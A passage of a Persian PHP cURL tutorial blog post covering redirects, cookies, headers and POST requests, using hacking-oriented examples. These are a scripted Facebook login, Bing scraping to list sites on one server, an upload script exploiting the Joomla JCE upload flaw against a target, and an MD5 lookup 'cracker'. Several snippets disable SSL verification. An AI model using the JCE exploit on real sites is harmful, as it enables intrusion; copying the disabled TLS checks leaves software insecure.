می شد. برای رفع مشکل از آپشن CURLOPT_FOLLOWLOCATION کمک می گیریماگر مقدار این آپشن true باشه هر تعداد ریدایرکت وجود داشته باشه curl اون هارو دنبال میکنه.پس برای مشاهده صفحه اول گوگل باید کد بالا رو به کد زیر تغییر بدیم$ch = curl_init(&quot;https://google.com&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);$result = curl_exec($ch);echo $result;curl_close($ch);با اجرای کد بالا صفحه اول گوگل قابل مشاهده هست. ( nobody رو از آپشن برداشتم که بتونم بدنه سایت رو ببینم)حال اگر مایل باشید یک تعداد خواص ریدایرکت رو دنبال کنید باید CURLOPT_MAXREDIRS رو هم مقدار دهی کنید.برای مثال به کد زیر توجه کنید$ch = curl_init(&quot;https://virgool.io/@alirezamn93&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_MAXREDIRS,3);$result = curl_exec($ch);echo $result;curl_close($ch);حال اگر در کد بالا سایت مورد نظر ۴ بار ریدایرکت انجام بده خروجی شما سفید خواهد بود (چون شما در curl_setopt($ch,CURLOPT_MAXREDIRS,3); گفتید حداکثر ۳ بار لینک هارو دنبال کن)برای رفع مشکل و مشاهده کامل سایت مورد نظر باید یکی از ۲ کد زیر را بنویسید$ch = curl_init(&quot;https://virgool.io/@alirezamn93&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_MAXREDIRS,4);$result = curl_exec($ch);echo $result;curl_close($ch);و یا$ch = curl_init(&quot;https://virgool.io/@alirezamn93&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);$result = curl_exec($ch);echo $result;curl_close($ch);خب برخی از سایت ها لینک ارجاع سایت رو هم نگاه می کنند (مثلا برای صفحه ورود لینک ارجاع رو چک می کنند) وقتی می بینید از یک سایت دیگه لینک اومده نشانگر یک عملیات غیر عادی میشند و اجرا ورود رو نمی دهند (این یکی از روش ها برای جلوگیری هست) برای رفع این مشکل 3 روش وجود دارد  روش اول استفاده از CURLOPT_AUTOREFERER هست . اگر مقدار true رو بدید فیلد Referer شما به صورت اتوماتیک برابر با سایتی میشه که اونو دنبال می کنید.curl_setopt($ch,CURLOPT_AUTOREFERER,1)روش دوم اگر مایلید خودتون دستی رف لینک بدید باید از آپشن CURLOPT_REFERER  استفاده کنید مانند قطعه کد زیرcurl_setopt($ch,CURLOPT_REFERER,&quot;http://www.google.com.com/&quot;)روش سوم استفاده از آپشن CURLOPT_HTTPHEADER  هست . (کمی جلوتر کامل این دستور رو توضیح میدم)خب خیلی وقت ها پیش میاد که شما برای کار با یک سایت (ورود یا پرس و جو کردن و یا …) نیاز به کوکی دارید.خب آپشن CURLOPT_COOKIESESSION اگر true قرار بدید تمامی کوکی یا سشن های قبلی رو ایگنور میکنه به صورت پیشفرض کوکی و سشن ها ذخیره و اجرا می شوند.آپشن CURLOPT_COOKIE می تونید خودتون کوکی بدید بهش که با اون کوکی اجرا بشه .و آپشن CURLOPT_COOKIEFILE که آدرس فایل ذخیره کوکی ها هست اگر رشته خالی بدید بهش هیچ کوکی لود نمیشه ولی ذخیره می شوند.خب برخی از سایت ها مدل مرورگر هم چک می کنند (حالا برای یک سری کارا یا استایل و...) برای دادن این مشخصات می توانید از آپشن CURLOPT_USERAGENT استفاده کنید. به قطعه کد زیر توجه کنیدcurl_setopt($ch,CURLOPT_USERAGENT,$_SERVER[&quot;HTTP_USER_AGENT&quot;])و یاcurl_setopt($ch,CURLOPT_USERAGENT,&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13&quot;)دیگه بستگی به خودتون و سایت مورد نظر داره که چکار کنید.خب شاید بعضی از سایت هارو مثل فیس بوک با این روش باز کرده باشید و بهتون اررو مبنی بر غیرفعال بودن کوکی بده . برای کار باکوکی هم می تونید از آپشن های موجود استفاده کنید (بالا گفتم)به قطعه کد زیر توجه کنید:    $ch = curl_init(&quot;https://www.facebook.com/login.php?login_attempt=1&quot;);   // curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);    curl_setopt($ch,CURLOPT_AUTOREFERER,1);    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);    curl_setopt($ch,CURLOPT_HEADER,0);    curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);    curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);    curl_setopt($ch,CURLOPT_POST,1);    curl_setopt($ch,CURLOPT_ENCODING, &#039;UTF-8&#039;);    curl_setopt($ch,CURLOPT_POSTFIELDS,$fields);    curl_setopt($ch,CURLOPT_USERAGENT,&#039;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13&#039;);    curl_setopt($ch,CURLOPT_REFERER,&quot;https://www.facebook.com/&quot;);    $cookie_file = &quot;cookie1.txt&quot;;    curl_setopt($ch, CURLOPT_COOKIESESSION, true);    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);    curl_exec($ch);    curl_close($ch);(چیزایی که یاد ندادم رو بعد توی آموزش یاد میگیرید فقط خواستم نحوه کارش رو ببینید)خب اگر هم می خواید کوکی ست کنید اپشن CURLOPT_COOKIE رو مقدار دهی کنیدبرای مثال :$cookie = &#039;PHPSESSID=&#039; . $_COOKIE[&#039;PHPSESSID&#039;] . &#039;; path=/&#039;; 
 curl_setopt( $ch, CURLOPT_COOKIE, $cookie );  خب حالا که یک سری ابزار ها رو یاد گرفتیم نظرتون چیه سایت های رو یک سرور با برنامه در بیاریم ؟برای این کار خیلی روش وجود داره یکی از روش ها استفاده از bing.com هست.اگر در سایت bing.com آی پی یک سرور رو وارد کنیم مثلا بنویسیم ip:192.168.1.1 سایت های سرورو بهمون نشون میده (احتمالن اونایی که ایندکس شدن) خب به کد زیرتوجه کنید:$ip =  &quot;193.252.114.13&quot;;$cnt=1;$nextpage=true;while($nextpage==true){    if($cnt==1)        $url=&quot;http://www.bing.com/search?q=ip%3A$ip&amp;qs=n&amp;form=QBRE&amp;pq=ip%3A$ip&amp;sc=0-0&amp;sp=-1&amp;sk=&quot;;    else        $url=&quot;http://www.bing.com/search?q=ip%3a$ip&amp;qs=n&amp;pq=ip%3a$ip&amp;sc=0-0&amp;sp=-1&amp;sk=&amp;first=$cnt&amp;FORM=PERE&quot;;    $ch = curl_init($url);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);    curl_setopt($ch, CURLOPT_COOKIE,&#039;_FP=EM=6; _FS=NU=1; _SS=SID=DE0C67FE74C54DA18A336359D03BCFB3&amp;nhIm=40-; MUID=1BF9890C2B01688F0ED78C942A106831; MUIDB=1BF9890C2B01688F0ED78C942A106831; SRCHD=SM=1&amp;MS=3115188&amp;D=3115188&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=2A6B69000E9745D9A1B8C86F2BCB341D; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20131203;&#039;);    $result=curl_exec($ch);   $myPattern = &quot;#&lt;cite&gt;(.*?)&lt;/cite&gt;&lt;span class#&quot; ;   if(preg_match_all($myPattern,$result,$find))          {            $urls = preg_replace(&quot;/&lt;\/?strong&gt;/&quot;,&quot;&quot;,$find[1]);            print_r($urls);          }  if(preg_match(&quot;/class\=\&quot;sb_pagN\&quot;/&quot;,$result))        $cnt+=10;  else        $nextpage=false;}خب من رفتم توی bing.com عبارت ip: 193.252.114.13 سرچ کردم . لینک رو یاداشت کردم$url=&quot;http://www.bing.com/search?q=ip:193.252.114.13&amp;qs=n&amp;form=QBRE&amp;pq=ip: 193.252.114.13&amp;sc=0-0&amp;sp=-1&amp;sk=بعد رفتم صفحات دیگه که اینطوری بودن$url=&quot;http://www.bing.com/search?q=ip:193.252.114.13&amp;qs=n&amp;pq=ip:193.252.114.13&amp;sc=0-0&amp;sp=-1&amp;sk=&amp;first=$cnt&amp;FORM=PERE&quot;;خب حالا باید یه چیزی باشه که بفهمم کی تموم میشه سایت ها برای همین رفتم صفحه آخر دنبال یه چیزی که اینجا باشه و توی بقیه صفحه ها نباشه . دیدم توی همه صفحات class=&quot;sb_pagN&quot; هست به جز صفحه آخر پس از این برای اتمام کد کمک گرفتم  if(preg_match(&quot;/class\=\&quot;sb_pagN\&quot;/&quot;,$result))        $cnt+=10;  else        $nextpage=false;خب دیدی که با یک برنامه ساده تونستم سایت های روی سرور رو دربیارم.خودتون برنامه رو توسعه بدید و پیشرفته ترش کنید.$myPattern = &quot;#&lt;cite&gt;(.*?)&lt;/cite&gt;&lt;span class#&quot; ;رو به  $myPattern = &quot;#&lt;cite&gt;(.*)&lt;/cite&gt;&lt;span class#&quot; ;تبدیل کنید و خروجی رو مقایسه کنید.خب توی آموزش بعدی می خوام با آپشن CURLOPT_HTTPHEADER آشناتون کنم. این آپشن می تونید بهش دستی هدری که می خواهید بدید . به صورت آرایه هدر رو می دیمبرای مثال:$headers = array(
    &#039;Content-type: application/xml&#039;,
    &#039;Authorization: abcdef&#039;,
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);هر هدر دیگه ای که خواستید می تونید بهش بدید.خب تا الان داشتیم با متدهای get کار می کردیم حالا می خوایم با post کار کنیم(با هدری که گفتم میشه post کرد ولی می خوایم از یک روش آسون تری استفاده کنیم)۲ آپشن دیگه هست CURLOPT_POST اگر مقدار true بدید یعنی میخواید post کنید.(البته برای post های نرمال که توی http فرم ها هستند هست)CURLOPT_POSTFIELDS اینم که فیلد هایی که پر می کنید رو بهش میدید.خب بریم سراغ مثال ؟ اونجا بهتر متوجه میشیدخب یادتون هست باگ jce  واسه جوملا رو ؟ می شد فایل آپلود کرد درسته ؟ خب منم برای اینکه ملموس تر باشه و کاربردی از همون استفاده میکنم.خب اگر یادتون باشه صفحه post صفحه به آدرس
option=com_jce&amp;task=plugin&amp;plugin=imgmanager&amp;file=imgmanager&amp;method=form&amp;cid=20
بود. خب پس آدرس میشه 
TARGET/index.php?option=com_jce&amp;task=plugin&amp;plugin=imgmanager&amp;file=imgmanager&amp;method=form&amp;cid=20خب اونجا که می رفتید فیلد هایی داشت که اسماشون (name) اینا بودند
upload-overwrite
Filedata
actionخب پس یک آرایه انجمنی می سازیم و اونارو مقدار دهی می کنیم.به صورت زیر
$data[&#039;upload-overwrite&#039;]=&quot;0&quot;;
$data[&#039;Filedata&#039;]=&quot;@&quot;.getcwd().DIRECTORY_SEPARATOR.&quot;pic.gif&quot;;
$data[&#039;action&#039;]=&quot;upload&quot;;حالا وقتش هست که اطلاعات رو post کنیم. کد زیر نمونه کاملش هست .
$url=&#039;TARGET/index.php?option=com_jce&amp;task=plugin&amp;plugin=imgmanager&amp;file=imgmanager&amp;method=form&amp;cid=20&#039;;
$data[&#039;upload-overwrite&#039;]=&quot;0&quot;;
$data[&#039;Filedata&#039;]=&quot;@&quot;.getcwd().DIRECTORY_SEPARATOR.&quot;pic.gif&quot;;
$data[&#039;action&#039;]=&quot;upload&quot;;
$ch =curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS, $data);
curl_exec($ch);
curl_close($ch);می تونید تدابیر دیگه ای هم ببینید(قبلا یاد گرفتید)که چک کنید ببینید آپلود موفقیت آمیز بوده یا نه و...خب نظرتون چیه یه بچه md5 کرکر بنویسیم ؟من از سایت  md5decryption.com   استفاده کردم شما می تونید از سایت های دیگه استفاده کنید اینم فقط برای مثال بود.اول با html یک فیلد برای دریافت اطلاعات نوشتم بعد که هش رو گرفتم میفرستم به سایت مورد نظر بعد با عبارات منظم جواب رو دریافت می کنم و بعد هم برمیگردونم مقدار رو .if(isset($_POST[&#039;submit&#039;]) &amp;&amp; isset($_POST[&#039;hash&#039;]))
{
    $hash = $_POST[&#039;hash&#039;];
    if(!empty($hash) &amp;&amp; strlen($hash) == 32)
    {
       echo md5decryption_com($hash);
       
    }else
    {
        echo &quot;&lt;br /&gt;hash is not valid &lt;br /&gt;&quot;;
    }
    
}else
{
    echo
    &quot;
    &lt;form action=&#039;&#039; method=&#039;post&#039;&gt;
        
        Hash : &lt;input type=&#039;text&#039; name=&#039;hash&#039; value=&#039;&#039;&gt; &lt;br /&gt;
        &lt;input type=&#039;submit&#039; name=&#039;submit&#039; value=&#039;Crack&#039;&gt;
        
        
    &lt;/form&gt;
    &quot;;
}


function md5decryption_com($hash)
{
    $ch = curl_init(&quot;md5decryption.com/&quot;);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER[&quot;HTTP_USER_AGENT&quot;]);
    curl_setopt($ch,CURLOPT_AUTOREFERER,1);
    curl_setopt($ch,CURLOPT_POST,1);
    curl_setopt($ch,CURLOPT_POSTFIELDS,array(&quot;hash&quot;=&gt;&quot;$hash&quot;,&quot;submit&quot;=&gt;&quot;Decrypt It!&quot;));
    $result = curl_exec($ch);
    curl_close($ch);
    if(preg_match(&quot;/Decrypted Text: &lt;\/b&gt;(.*)&lt;\/font&gt;/&quot;,$result,$find))
        return $find[1];
    else
        return &quot;regex not found&quot;;
}می تونید با خلاقیت خودتون پیشرفته تر و بهترش کنید</description>
                <category>علیرضا</category>
                <author>علیرضا</author>
                <pubDate>Fri, 26 Jan 2018 12:55:20 +0330</pubDate>
            </item>
            </channel>
</rss>